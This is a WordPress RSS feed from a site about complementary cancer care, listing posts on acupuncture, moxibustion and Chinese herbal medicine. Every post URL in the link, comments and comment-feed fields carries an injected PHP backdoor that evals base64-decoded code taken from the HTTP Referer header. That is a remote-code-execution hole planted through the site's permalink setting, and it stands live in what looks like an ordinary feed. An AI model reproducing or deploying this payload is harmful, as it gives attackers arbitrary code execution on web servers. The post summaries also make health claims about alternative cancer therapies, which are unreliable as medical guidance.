<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cancer Options &#187; Acupuncture</title>
	<atom:link href="http://www.canceroptions.net/category/acupuncture/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.canceroptions.net</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sun, 25 Jul 2010 22:15:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Acupuncture as Palliative Therapy for Physical Symptoms and Quality of Life for Advanced Cancer Patients</title>
		<link>http://www.canceroptions.net/2010/06/01/acupuncture-as-palliative-therapy-for-physical-symptoms-and-quality-of-life-for-advanced-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/06/01/acupuncture-as-palliative-therapy-for-physical-symptoms-and-quality-of-life-for-advanced-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 14:50:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Acupuncture]]></category>
		<category><![CDATA[cancer]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=131</guid>
		<description><![CDATA[Acupuncture produces a measurable benefit for advanced cancer patients.]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/06/01/acupuncture-as-palliative-therapy-for-physical-symptoms-and-quality-of-life-for-advanced-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acupuncture reduces hot flashes, improves sex drive for breast cancer patients</title>
		<link>http://www.canceroptions.net/2010/03/01/acupuncture-reduces-hot-flashes-improves-sex-drive-for-breast-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/03/01/acupuncture-reduces-hot-flashes-improves-sex-drive-for-breast-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 12:48:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Acupuncture]]></category>
		<category><![CDATA[breast cancer]]></category>
		<category><![CDATA[drug therapy]]></category>
		<category><![CDATA[hot flashes]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=112</guid>
		<description><![CDATA[Not only is acupuncture as effective as drug therapy at reducing hot flashes in breast cancer patients, it has the added benefit of potentially increasing a woman's sex drive and improving her sense of well-being, according to a Henry Ford Hospital study.]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/03/01/acupuncture-reduces-hot-flashes-improves-sex-drive-for-breast-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acupuncture Eases Radiation-induced Dry Mouth In Cancer Patients</title>
		<link>http://www.canceroptions.net/2009/05/03/acupuncture-eases-radiation-induced-dry-mouth-in-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2009/05/03/acupuncture-eases-radiation-induced-dry-mouth-in-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 03 May 2009 15:14:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Acupuncture]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[dry mouth]]></category>
		<category><![CDATA[radiation]]></category>
		<category><![CDATA[xerostomia]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=43</guid>
		<description><![CDATA[ScienceDaily (Apr. 25, 2009) — Twice weekly acupuncture treatments relieve debilitating symptoms of xerostomia &#8211; severe dry mouth &#8211; among patients treated with radiation for head and neck cancer, researchers from The University of Texas M. D. Anderson Cancer Center report in the current online issue of Head &#38; Neck.
Xerostomia develops after the salivary glands have been [...]]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2009/05/03/acupuncture-eases-radiation-induced-dry-mouth-in-cancer-patients/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Moxibustion for treating chemotherapy induced leukopenia</title>
		<link>http://www.canceroptions.net/2009/03/20/moxibustion-for-treating-chemotherapy-induced-leukopenia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2009/03/20/moxibustion-for-treating-chemotherapy-induced-leukopenia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 21:41:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Acupuncture]]></category>
		<category><![CDATA[chemotherapy]]></category>
		<category><![CDATA[Leukopenia]]></category>
		<category><![CDATA[moxibustion]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=35</guid>
		<description><![CDATA[Chemotherapy is generally considered indispensable in the treatment of cancer, but it often lowers the quantity of white blood cells drastically. Two reports study the effect of moxibustion in preventing or treating this type of leukopenia. 
In one study, 114 patients had lung cancer, cancer of the esophagus, lymphoma, or other malignant tumors. They all [...]]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2009/03/20/moxibustion-for-treating-chemotherapy-induced-leukopenia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Treatment of Colorectal Cancer using Chemotherapy and Chinese Herbal Medicine</title>
		<link>http://www.canceroptions.net/2008/12/16/the-treatment-of-colorectal-cancer-using-chemotherapy-and-chinese-herbal-medicine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2008/12/16/the-treatment-of-colorectal-cancer-using-chemotherapy-and-chinese-herbal-medicine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 20:35:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Acupuncture]]></category>
		<category><![CDATA[Chinese Herbs]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[chemotherapy]]></category>
		<category><![CDATA[Chinese herbal medicine]]></category>
		<category><![CDATA[colorectal cancer]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=28</guid>
		<description><![CDATA[by Tai Lahans
Introduction
In 2007, 180,000 new cases of colorectal cancer (CRC) were diagnosed in the United States (1). As a cause of cancer, CRC ranks second only to lung cancer. Approximately 60,000 deaths per year are attributed to CRC with a 5-year survival rate of about 50% (2).
Environmental, nutritional, genetic and familial factors have been [...]]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2008/12/16/the-treatment-of-colorectal-cancer-using-chemotherapy-and-chinese-herbal-medicine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acupuncture Protocol for Breast Cancer</title>
		<link>http://www.canceroptions.net/2008/07/15/acupuncture-protocol-for-breast-cancer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2008/07/15/acupuncture-protocol-for-breast-cancer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 15 Jul 2008 18:28:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Acupuncture]]></category>

		<guid isPermaLink="false">http://72.29.95.195/?p=16</guid>
		<description><![CDATA[In the clinic it is not unusual for us to see patients with Breast Cancer who are undergoing chemotherapy treatment. The following is an acupuncture protocol we would use for these patients. It is a basic formula that we would adjust based on the individuals symptomology.
The protocol is based on a 21 day chemotherapy infusion [...]]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2008/07/15/acupuncture-protocol-for-breast-cancer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Moxibustion used to treat leukopenia</title>
		<link>http://www.canceroptions.net/2008/07/04/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2008/07/04/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 04 Jul 2008 05:49:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Acupuncture]]></category>
		<category><![CDATA[Chinese Herbs]]></category>

		<guid isPermaLink="false">http://72.29.95.195/?p=1</guid>
		<description><![CDATA[Chemotherapy and Moxibustion
Chemotherapy is generally considered indispensable in the treatment of cancer, but it often lowers the quantity of white blood cells drastically. Two reports study the effect of moxibustion in preventing or treating this type of leukopenia.
In one study, 114 patients had lung cancer, cancer of the esophagus, lymphoma, or other malignant tumors. They [...]]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2008/07/04/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
